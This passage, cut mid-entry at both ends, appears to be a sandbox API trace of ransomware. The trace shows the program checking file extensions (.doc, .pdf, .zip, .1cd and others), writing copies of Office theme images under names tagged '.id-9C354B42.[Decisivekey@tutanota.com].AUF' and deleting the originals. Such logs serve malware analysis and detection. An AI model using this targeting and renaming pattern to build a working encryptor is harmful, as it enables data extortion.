lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0213.080] SetEndOfFile (hFile=0x194) returned 1 [0213.080] CloseHandle (hObject=0x194) returned 1 [0213.080] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.080] SetEndOfFile (hFile=0x184) returned 1 [0213.081] CloseHandle (hObject=0x184) returned 1 [0213.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.082] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 1 [0213.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0213.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0213.082] lstrlenW (lpString=".doc") returned 4 [0213.082] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.082] lstrlenW (lpString=".docx") returned 5 [0213.082] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.082] lstrlenW (lpString=".pdf") returned 4 [0213.082] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.082] lstrlenW (lpString=".xls") returned 4 [0213.082] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.082] lstrlenW (lpString=".xlsx") returned 5 [0213.082] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.082] lstrlenW (lpString=".ppt") returned 4 [0213.082] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0213.082] lstrlenW (lpString=".zip") returned 4 [0213.082] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.082] lstrlenW (lpString=".rar") returned 4 [0213.082] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.082] lstrlenW (lpString=".bz2") returned 4 [0213.082] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.082] lstrlenW (lpString=".7z") returned 3 [0213.082] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0213.082] lstrlenW (lpString=".dbf") returned 4 [0213.082] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0213.082] lstrlenW (lpString=".1cd") returned 4 [0213.083] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0213.083] lstrlenW (lpString=".jpg") returned 4 [0213.083] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0213.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0213.083] lstrlenW (lpString=".doc") returned 4 [0213.083] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.083] lstrlenW (lpString=".docx") returned 5 [0213.083] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.083] lstrlenW (lpString=".pdf") returned 4 [0213.083] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.083] lstrlenW (lpString=".xls") returned 4 [0213.083] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.083] lstrlenW (lpString=".xlsx") returned 5 [0213.083] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.083] lstrlenW (lpString=".ppt") returned 4 [0213.083] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0213.083] lstrlenW (lpString=".zip") returned 4 [0213.083] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.083] lstrlenW (lpString=".rar") returned 4 [0213.083] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.083] lstrlenW (lpString=".bz2") returned 4 [0213.083] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.083] lstrlenW (lpString=".7z") returned 3 [0213.083] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0213.083] lstrlenW (lpString=".dbf") returned 4 [0213.083] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0213.083] lstrlenW (lpString=".1cd") returned 4 [0213.083] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0213.083] lstrlenW (lpString=".jpg") returned 4 [0213.083] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.083] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0213.083] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0213.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.121] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=48115) returned 1 [0213.121] CloseHandle (hObject=0x1f0) returned 1 [0213.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20 [0213.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.122] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.122] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0213.122] GetLastError () returned 0x0 [0213.122] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xbbf3, lpOverlapped=0x0) returned 1 [0213.144] WriteFile (in: hFile=0x204, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xbc00, lpOverlapped=0x0) returned 1 [0213.145] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0213.145] WriteFile (in: hFile=0x204, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0213.145] SetEndOfFile (hFile=0x204) returned 1 [0213.146] CloseHandle (hObject=0x204) returned 1 [0213.146] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.146] SetEndOfFile (hFile=0x1f0) returned 1 [0213.147] CloseHandle (hObject=0x1f0) returned 1 [0213.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.147] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 1 [0213.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0213.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0213.147] lstrlenW (lpString=".doc") returned 4 [0213.147] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.147] lstrlenW (lpString=".docx") returned 5 [0213.147] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.147] lstrlenW (lpString=".pdf") returned 4 [0213.147] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.147] lstrlenW (lpString=".xls") returned 4 [0213.147] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.148] lstrlenW (lpString=".xlsx") returned 5 [0213.148] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.148] lstrlenW (lpString=".ppt") returned 4 [0213.148] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0213.148] lstrlenW (lpString=".zip") returned 4 [0213.148] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.148] lstrlenW (lpString=".rar") returned 4 [0213.148] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.148] lstrlenW (lpString=".bz2") returned 4 [0213.148] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.148] lstrlenW (lpString=".7z") returned 3 [0213.148] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0213.148] lstrlenW (lpString=".dbf") returned 4 [0213.148] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0213.148] lstrlenW (lpString=".1cd") returned 4 [0213.148] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0213.148] lstrlenW (lpString=".jpg") returned 4 [0213.148] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0213.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0213.148] lstrlenW (lpString=".doc") returned 4 [0213.148] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.148] lstrlenW (lpString=".docx") returned 5 [0213.148] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.148] lstrlenW (lpString=".pdf") returned 4 [0213.148] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.148] lstrlenW (lpString=".xls") returned 4 [0213.148] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.148] lstrlenW (lpString=".xlsx") returned 5 [0213.148] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.148] lstrlenW (lpString=".ppt") returned 4 [0213.148] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0213.148] lstrlenW (lpString=".zip") returned 4 [0213.148] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.148] lstrlenW (lpString=".rar") returned 4 [0213.148] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.149] lstrlenW (lpString=".bz2") returned 4 [0213.149] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.149] lstrlenW (lpString=".7z") returned 3 [0213.149] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0213.149] lstrlenW (lpString=".dbf") returned 4 [0213.149] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0213.149] lstrlenW (lpString=".1cd") returned 4 [0213.149] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0213.149] lstrlenW (lpString=".jpg") returned 4 [0213.149] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.149] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0213.149] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0213.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.149] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=2574) returned 1 [0213.149] CloseHandle (hObject=0x1f0) returned 1 [0213.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20 [0213.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.150] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.150] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0213.151] GetLastError () returned 0x0 [0213.151] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xa0e, lpOverlapped=0x0) returned 1 [0213.207] WriteFile (in: hFile=0x204, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xa10, lpOverlapped=0x0) returned 1 [0213.208] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0213.208] WriteFile (in: hFile=0x204, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0213.208] SetEndOfFile (hFile=0x204) returned 1 [0213.208] CloseHandle (hObject=0x204) returned 1 [0213.208] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.208] SetEndOfFile (hFile=0x1f0) returned 1 [0213.209] CloseHandle (hObject=0x1f0) returned 1 [0213.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.209] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 1 [0213.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0213.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0213.209] lstrlenW (lpString=".doc") returned 4 [0213.209] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.209] lstrlenW (lpString=".docx") returned 5 [0213.209] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.209] lstrlenW (lpString=".pdf") returned 4 [0213.209] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.209] lstrlenW (lpString=".xls") returned 4 [0213.209] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.209] lstrlenW (lpString=".xlsx") returned 5 [0213.209] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.209] lstrlenW (lpString=".ppt") returned 4 [0213.209] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0213.210] lstrlenW (lpString=".zip") returned 4 [0213.210] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.210] lstrlenW (lpString=".rar") returned 4 [0213.210] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.210] lstrlenW (lpString=".bz2") returned 4 [0213.210] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.210] lstrlenW (lpString=".7z") returned 3 [0213.210] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0213.210] lstrlenW (lpString=".dbf") returned 4 [0213.210] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0213.210] lstrlenW (lpString=".1cd") returned 4 [0213.210] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0213.210] lstrlenW (lpString=".jpg") returned 4 [0213.210] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0213.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0213.210] lstrlenW (lpString=".doc") returned 4 [0213.210] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.210] lstrlenW (lpString=".docx") returned 5 [0213.210] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.210] lstrlenW (lpString=".pdf") returned 4 [0213.210] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.210] lstrlenW (lpString=".xls") returned 4 [0213.210] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.210] lstrlenW (lpString=".xlsx") returned 5 [0213.210] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.210] lstrlenW (lpString=".ppt") returned 4 [0213.210] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0213.210] lstrlenW (lpString=".zip") returned 4 [0213.210] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.210] lstrlenW (lpString=".rar") returned 4 [0213.210] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.210] lstrlenW (lpString=".bz2") returned 4 [0213.210] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.210] lstrlenW (lpString=".7z") returned 3 [0213.210] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0213.210] lstrlenW (lpString=".dbf") returned 4 [0213.210] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0213.210] lstrlenW (lpString=".1cd") returned 4 [0213.210] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0213.210] lstrlenW (lpString=".jpg") returned 4 [0213.210] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.211] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0213.211] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0213.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.211] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=37440) returned 1 [0213.211] CloseHandle (hObject=0x1f0) returned 1 [0213.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 0x20 [0213.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.211] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.211] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0213.212] GetLastError () returned 0x0 [0213.212] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x9240, lpOverlapped=0x0) returned 1 [0213.281] WriteFile (in: hFile=0x204, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x9250, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x9250, lpOverlapped=0x0) returned 1 [0213.283] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, 